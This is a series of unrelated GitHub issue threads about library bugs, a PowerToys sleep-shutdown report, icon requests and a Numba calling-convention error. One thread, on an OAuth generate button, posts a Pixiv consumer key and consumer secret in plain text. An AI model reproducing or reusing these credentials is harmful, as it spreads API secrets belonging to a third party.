Converting this to draft due to ambiguity in the resolution still

Abandoning, I think this can be resolved fully by implementing the interfaces in the worker extension.


Does it work with blufi

Hi. I'm verry happy when i see this source, because i'm working with mobile connect via blufi. Just want to know how it work? Can you write docs for this libs.
Thank you so much

+1

@nghichcode I tried to fix this poorly written library, but no luck. There are so many invalid functions and unused parameters that do not make sense. It is better to use the ESP-IDF BLUFI documentation and figure out how to implement BLUFI using react-native-ble-manager yourself. I have found the pyBlufi project, which implements BLUFI using Python and is well-structured. I might use it as a reference for writing my own in TypeScript.


cannot use client.chat.get_chat(char)

I'm following the chatting code example on documentation. I'm having the following error when I use client.chat.get_chat(char):
Obs.: I'm using venv
Traceback (most recent call last):
chat = client.chat.get_chat(roxy_char)
File "D:\files\cai api\venv\lib\site-packages\characterai\characterai.py", line 567, in get_chat
return _PostResponse(
File "D:\files\cai api\venv\lib\site-packages\characterai\characterai.py", line 58, in _PostResponse
_goto('', wait=wait, token=token)
File "D:\files\cai api\venv\lib\site-packages\characterai\characterai.py", line 22, in _goto
raise errors.UnknownError(E)
characterai.errors.UnknownError: 'NoneType' object has no attribute 'goto'

Did you use the client.start() func?, If no then add a line after defining the client that runs the function

Be sure that char variable is the string, kinda similar to this:
char = "EEI6sjnddRIJTVC59MODiYjL0-JyDIVI2IEGLkPx2Jk"
You can find it in the URL of the chat bot:
https://beta.character.ai/chat?char=EEI6sjnddRIJTVC59MODiYjL0-JyDIVI2IEGLkPx2Jk

@kubanemil If the character id would be invalid then there would be a different error, NotFound , I think

fixed on v0.8.0


Icon request: wikiglyph-thumbs-up, wikiglyph-thumbs-down

For expressing likes and dislikes visually. Could be used in the MediaWiki extension Comments.

+1

WikiFont has been deprecated (for a while) in favor of OOjs UI icons, closing.


Update adding-a-theme-to-your-github-pages-site-with-the-theme-choose…

…r.md

Why:
Closes [issue link]

What's being changed:

Check off the following:

[ ] I have reviewed my changes in staging (look for "Automatically generated comment" and click Modified to view your latest changes).
[ ] For content changes, I have completed the self-review checklist.

Writer impact (This section is for GitHub staff members only):

[ ] This pull request impacts the contribution experience

[ ] I have added the 'writer impact' label
[ ] I have added a description and/or a video demo of the changes below (e.g. a "before and after video")

j


"Awake" makes my system shutdown when it should be at "sleep"

Microsoft PowerToys version
0.86.0
Installation method
Microsoft Store
Running as admin
No
Area(s) with issue?
Awake
Steps to reproduce
When is Awake is toggled and I put my computer to sleep my computer shutdown unexpectedly during sleep.
This happens whether I put my system to sleep manually (Windows button>Power>Sleep
It also happens when my computer goes to sleep automatically as per my power settings (set to go to sleep when plugged in after 20min of activity)
Either way, once my system goes to sleep, when I return to it and try to wake the system by hitting the space bar or moving my mouse, system doesn't react. I need to boot my system by pressing the power button (as this is the way when computer is shutdown) and I go through the whole boot sequence confirming my system was shutdown. Then Chrome sends me a message upon launch that it was shutdown unexpectedly.
I just checked Window's reliability feature and it confirms system was shutdown unexpectedly. Unfortunately it doesn't give any more useful information. Here's the technical details provided by Window's reliability monitor "The previous system shutdown at 7:43:02 PM on 12/6/2024 was unexpected."
It's only been happening since 2 weeks, I have had Powertoys installed for years and never encountered this issue. Though I used to leave Awake set to "Keep awake indefinitely" so maybe I just did not notice this bug.
Note that the issue occurs whenever "Awake" in toggled in, even if the current Awake's settings is set to "Off ( keep using the selected plan)"
When Awake is set to keep awake indefinitely, no issue system does not goes to sleep.
Now when I go into Power Toys settings and toggle off "Awake" completely, meaning the Awake icon is removed from my taskbar, then my system goes back to functioning normally and goes to sleep and wake normally without issue.
FIrst noticed the bug on v78 and just upgraded to v86 hoping it would be fixed but I can confirm that my system again was shut down unexpectedly when I put it to sleep.
I also checked all of my Windows power settings including advanced power settings and my laptop is not meant to hibernate or shutdown. It's mean to sleep when I put it to sleep. Also it is not an issue of power as my system is permanently plugged in.
I've included Power Toys bug report following the last unexpected shutdown when my system was put to sleep
PowerToysReport_2024-12-06-23-12-25.zip

So in the below screenshot, Awake is togged on and set to keep using selected power plan, to clarify when it is set as below, the bug is occuring. I put my system to sleep and it will unexpectedly shutdown while at sleep

Hope I provided enough information, don't hesitate to reach out if you need more details as I would very much like this bug to be resolved as Awake is a feature I love using but having my system shutdown unexpectedly when I put it to sleep is not ideal.
Also to confirm the bug occurs when Awake is set to "off, keep using the selected plan"
Interestingly enough, in the past I have put my system to sleep manually while leaving Awake set to "keep awake indefinitely" and there was no issue, system went to sleep and woke up from sleep without issue.
✔ Expected Behavior
When Awake's setting is set to "Off ( keep using the selected plan)" I should be able to put my system to sleep and wake my system normally without losing the windows that were open and Windows telling me that it shut down unexpectedly
❌ Actual Behavior
Doesn't work and mess with Windows power settings and sleep mode
Other Software
No response

This is somewhat odd and I don't think Awake can cause this, mainly because of how Awake operates on the system power settings.
If I would be to summarize your assessment of the issue:
When Awake is On:

Awake is active: Awake keeps the system awake and prevents it from going to sleep, regardless of the selected power plan.
Bug condition: The issue manifests when Awake is toggled on, and the system unexpectedly shuts down when trying to sleep.

When Awake is Off:

Awake is inactive: The system follows the standard power plan, going to sleep according to the user’s settings (such as after 20 minutes of activity when plugged in).
Normal sleep behavior: The system enters and exits sleep mode as expected, without the interference of Awake.

Can you reliably reproduce that every time Awake is off and the system goes to sleep, it correctly starts and resumes sleep, but when Awake is on, it reliably goes into unexpected shutdown? Can you confirm this is reproducible when you just tinker with Awake settings and not any other applications (even running them should be excluded)?

Hi @dend
Thanks for your reply and great summary. I'll just clarify something in your summary, sorry it's my bad, my bug report wasn't really concise, I will use bullet points
1. When Awake is toggled On:
Awake mode set to:

Keep using the selected power plan
- The system follows the standard power plan, going to sleep according to the user’s settings (such as after 20 minutes of inactivity when plugged in)
- Bug condition: when system goes to sleep as per user's settings (after 20 min of activity), system unexpectedly shuts down during sleep

Keep awake indefinitely
- Behave as expected and Awake prevents my system from going to sleep
- Bug condition: When I manually put system to sleep (Start button>Power>Sleep), system will unexpectedly shutdown during sleep

Simply speaking, Awake behave as expected while system is running and is doing what it is supposed to be doing, the bug occurs when system goes to sleep regardless of which Awake mode I'm using and system will crash when in sleep mode.
2. When Awake is toggled Off

When system goes to sleep after 20min of inactivity, system doesn't crash during sleep
When system is put to sleep manually (Start button>Power>Sleep) system doesn't crash during sleep

Can you reliably reproduce that every time Awake is off and the system goes to sleep, it correctly starts and resumes sleep, but when Awake is on, it reliably goes into unexpected shutdown? Can you confirm this is reproducible when you just tinker with Awake settings and not any other applications (even running them should be excluded)?

Yes I'm 100% positive I can reliably reproduce this 100% of the time.
When Awake if toggled OFF, system can go to sleep and correctly starts and resume from sleep as expected (with all of my windows still on)
When Awake if toggled ON, regardless of which Awake mode it is set to, system will crash in sleep and will need to be rebooted
I'm not tinkering any other software/settings in Windows as I try to isolate variables to isolate the issue.
When the bug started to occur, I didn't think it was caused by PowerToys and did the following:

Reviewed all of my Windows' power settings
scanned Windows for corrupted files as i Initially thought it was a Windows glitch
Here's my health check procedure:

type sfc/scannow and press enter
Restart computer
DISM.exe /Online /Cleanup-image /Scanhealth
DISM.exe /Online /Cleanup-image /Restorehealth
Restart
All came back ok and no need for repair.
Let me know if I can be of any further assistance

@dend
Update, Awake has been toggled off for the last 2 days and just earlier my system shutdown while in sleep mode.
This invalidates all my observation from my previous post.
Going through Window's reliability monitor I just noticed that this Killer app (Wifi) stopped working at the same time my system shutdown unexpectedly.

This might be the culprit so I will investigate that.
Thank you for your time, I will close this thread as it seems there's no bug with PowerToys


QAuth 2 generate button missing

Bug description
The generate button is missing for sources such as pixiv and twitter to get the consumer key and consumer secret. The button was there before since I was able to get those details for my pixiv account
Steps to reproduce
Go to the sources
Check Pixiv
See the login tab
Expected behavior
Have besides the test button also the generate button to get those details
System information
Windows 10 with the latest nightly version

You can't generate OAuth 2 consumer keys/secrets, you have to get them from the website.
For example, for Twitter it's somewhere on https://developer.twitter.com.
So I don't see which "generate" button you're talking about 🤔

Hmm I thought that I remembered some generate button but seems that I was mistaken

I'll add a tutorial in the documentation to explain how to get OAuth tokens as it can be confusing.

BTW, for Pixiv you should stick to the defaults:
consumerKey: bYGKuGVw91e0NMfPGp44euvGt59s
consumerSecret: HP3RmkgAmEGro0gn1x9ioawQE8WMfvLXDz3ZqxpK

@Bionus it does seem that the login details are gone from the UI for pixiv. I have still those settings within my appdata and when I have that file I do see more images than without


Integrate JS SDK Tests

Have to use https://github.com/vitest-dev/vitest/issues/1951

After closing of https://github.com/vitest-dev/vitest/issues/1951, it is easier to implement a self-hosted Allure integration.


Added a new permission check can_read_jobs

Task linked: QF-2191 Do not allow public access to jobs


QMessageBox for error

Add the necessary class(es) to classes.yml and enum(s) to enums.yml (Both in config/).  Then run bindgen as documented in Qt5.cr's README to verify (The section on how to generate a single version).  Once it works PR it so it can go upstream.


Record array not supported by dufunc

from numba import vectorize, njit
import numpy as np

rec_dtype = np.dtype([('x', np.int32)])
rec_array = np.recarray(2, dtype=rec_dtype)

@vectorize
def foo(a):
    return a.x + 1

print(foo(rec_array))

outputs:
Traceback (most recent call last):
  File "rectest.py", line 14, in <module>
    print(foo(rec_array))
TypeError: Not implemented for this type

Calling dufunc from njit also fail:

@njit
def bar(a):
    return foo(a)

print(bar(rec_array))

Traceback (most recent call last):
  File "/Users/sklam/dev/numba/numba/lowering.py", line 172, in lower_block
    self.lower_inst(inst)
  File "/Users/sklam/dev/numba/numba/lowering.py", line 212, in lower_inst
    val = self.lower_assign(ty, inst)
  File "/Users/sklam/dev/numba/numba/lowering.py", line 361, in lower_assign
    return self.lower_expr(ty, value)
  File "/Users/sklam/dev/numba/numba/lowering.py", line 562, in lower_expr
    return self.lower_call(resty, expr)
  File "/Users/sklam/dev/numba/numba/lowering.py", line 533, in lower_call
    res = impl(self.builder, argvals)
  File "/Users/sklam/dev/numba/numba/targets/base.py", line 1090, in __call__
    return self._imp(self._context, builder, self._sig, args)
  File "/Users/sklam/dev/numba/numba/npyufunc/dufunc.py", line 58, in __call__
    explicit_output=explicit_output)
  File "/Users/sklam/dev/numba/numba/targets/npyimpl.py", line 309, in numpy_ufunc_kernel
    val_out = kernel.generate(*vals_in)
  File "/Users/sklam/dev/numba/numba/npyufunc/dufunc.py", line 38, in generate
    self.builder, entry_point, isig.return_type, isig.args, cast_args)
  File "/Users/sklam/dev/numba/numba/targets/callconv.py", line 389, in call_function
    code = builder.call(callee, realargs)
  File "/Users/sklam/dev/.conda.workspace/llvm36/lib/python3.4/site-packages/llvmlite/ir/builder.py", line 452, in call
    cconv=cconv, tail=tail)
  File "/Users/sklam/dev/.conda.workspace/llvm36/lib/python3.4/site-packages/llvmlite/ir/instructions.py", line 74, in __init__
    raise TypeError(msg.format(1 + argno, exptype, arg.type))
TypeError: Type of #4 arg mismatch: [4 x i8]* != [4 x i8]

This looks a calling convention mismatch.

This is still a problem on 0.49.x